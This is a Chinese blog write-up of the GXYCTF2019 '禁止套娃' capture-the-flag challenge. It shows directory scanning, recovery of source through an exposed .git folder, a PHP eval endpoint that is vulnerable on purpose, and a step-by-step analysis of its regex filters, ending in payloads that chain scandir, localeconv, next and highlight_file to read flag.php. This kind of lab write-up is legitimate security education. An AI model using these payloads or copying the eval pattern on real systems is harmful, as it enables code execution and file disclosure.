[GXYCTF2019]禁止套娃1

buu打开题目进去看到,只有一行字

只有一行字的话,那么没有可用的信息,那么可以去查看一下源码或者是看一下network里是不是有一些提示,发现都没有,那就利用dirsearch去扫描一下目录

python dirsearch.py -u http://f8716353-f295-45aa-8f8a-d45e2e09ec3c.node5.buuoj.cn:81/

 当我们利用dirsearch去扫描目录时,我们发现是存在git信息泄露的,那么接着利用GitHack工具去得到泄露的文件

python GitHack.py http://f8716353-f295-45aa-8f8a-d45e2e09ec3c.node5.buuoj.cn:81/.git

得到的index.php文件代码如下:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

根据index.php可以看到有三层过滤,第一层if就是简单正则匹配,也就是GET传入的exp中不能存在data:   filter:   php:   phar:  也就是说利用php伪协议这条路应该是不通了。

再来看第二层if,先来解释一下preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

这部分代码的作用是对传入的exp参数进行正则匹配和替换操作,以确保该参数只包含函数调用,并且这些函数调用的结果最终等于一个分号(;)。具体来说,它使用正则表达式来检测并替换所有符合特定格式的函数调用,然后检查剩余的字符串是否等于分号。

正则表达式解释

preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

/[a-z,_]+\((?R)?\)/:
[a-z,_]+:匹配一个或多个小写字母、下划线或逗号。
\(:匹配一个左括号(。
(?R)?:递归匹配自身。这里是一个复杂的正则表达式,用于匹配嵌套的括号。(?R)表示递归调用正则表达式本身,用于匹配嵌套的函数调用。
\):匹配一个右括号)。
正则表达式的作用是匹配像func1(func2())这样的嵌套函数调用。

preg_replace解释

preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

preg_replace函数用来将匹配到的部分替换为NULL,即删除匹配到的部分。它会删除所有符合正则表达式的函数调用。

判断是否仅剩分号

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

这行代码的逻辑如下:

使用正则表达式/[a-z,_]+\((?R)?\)/匹配并删除$_GET['exp']中的所有函数调用。
检查删除后的结果是否等于一个分号';'。

示例
让我们看一些示例来更好地理解这个逻辑:

输入

$_GET['exp'] = 'foo();'

正则表达式匹配并删除foo();,剩下的字符串是';'。
检查';' === ';',条件为真。
输入

$_GET['exp'] = 'foo(bar());'

正则表达式匹配并删除foo(bar());,剩下的字符串是';'。
检查';' === ';',条件为真。
输入

$_GET['exp'] = 'foo();bar();'

正则表达式匹配并删除foo();,剩下的字符串是'bar();'。
正则表达式再次匹配并删除bar();,剩下的字符串是''。
检查'' === ';',条件为假。

需要注意的是preg_replace函数只是用于检查条件,并不改变实际传入的参数$_GET['exp'],所以下面的@eval($_GET['exp']);还是可以去执行传入的参数的

我们可以去借助php内置的一些函数来实现读取flag.php,下面是payload需要用到的php函数:

localeconv():

这个函数返回一个数组,包含当前区域设置中与数字格式化相关的信息。例如,千位分隔符,小数点符号等。
current():

这个函数返回数组中的当前元素。默认情况下,如果没有先前调用过next()、prev()、reset()等函数,current()返回数组的第一个元素。
在这里,它会返回localeconv()返回的数组的第一个元素。
scandir():

这个函数列出指定目录中的文件和目录。
如果传递的参数是一个有效目录路径,它将返回该目录下的文件和目录列表。

next():

将数组的内部指针向前移动一位,并返回移动后的当前元素。

print_r():

这个函数输出信息,以便于阅读。它可以打印数组和对象的详细结构。

highlight_file():

输出指定文件的内容,并且语法高亮显示。(这里用来显示flag.php的内容)

当我们的payload是/index.php?exp=print_r(scandir(current(localeconv())));

可以看到数组的第二个是flag.php,payload加上next()也就是/index.php?exp=print_r(next(scandir(current(localeconv()))));试一下看看能到哪个文件的位置

可以看到已经指向了flag.php文件这里,只需要将print_r函数换成 highlight_file函数来读取flag.php的内容即可。于是paylaod就是/index.php?exp=highlight_file(next(scandir(current(localeconv()))));

  • 19
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值